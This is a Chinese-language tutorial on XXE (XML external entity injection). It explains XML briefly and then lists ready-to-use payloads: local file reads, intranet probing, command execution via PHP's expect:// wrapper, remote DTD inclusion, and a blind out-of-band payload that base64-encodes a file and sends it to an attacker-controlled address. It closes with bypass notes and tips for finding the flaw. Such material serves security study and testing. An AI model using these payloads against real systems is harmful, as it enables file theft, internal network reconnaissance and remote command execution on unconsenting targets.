XML和XXE的区别?
什么是XML?
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
什么是XXE?
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
总的来说:XML是一种传输的方式,XXE是XML传输中的一种漏洞。
xml基础:
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
利用方法:
#玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
#玩法-内网探针或攻击内网应用(触发漏洞地址),内网端口测试
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>
#玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
#引入外部实体 dtd(允许的条件下,类似与远程包含漏洞)(dtd格式文件当作xml代码执行)
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> #(远程访问dtd文件)
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt"> #(这个是dtd文件的代码)
#无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"> # 读取text文件复制到file
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd"> #请求这个地址
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" #file数据赋值到data 也就说将test文件的内容赋值到了data并保存了下来,看日志或者看抓包就可以看到内容。
>
%payload;
#协议-读文件(绕过)
参考绕过思路:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
关键字绕过,编码绕过,各种协议绕过
漏洞发现
白盒:
函数及可控变量查找
传输和存储数据格式类型
黑盒:
查看数据传输的格式类型如<?xml><!DOCTYPE>等一些标签
查看Content-Type值判断:text/xml或者application/xml
更改Content-Type为xml值查看返回结果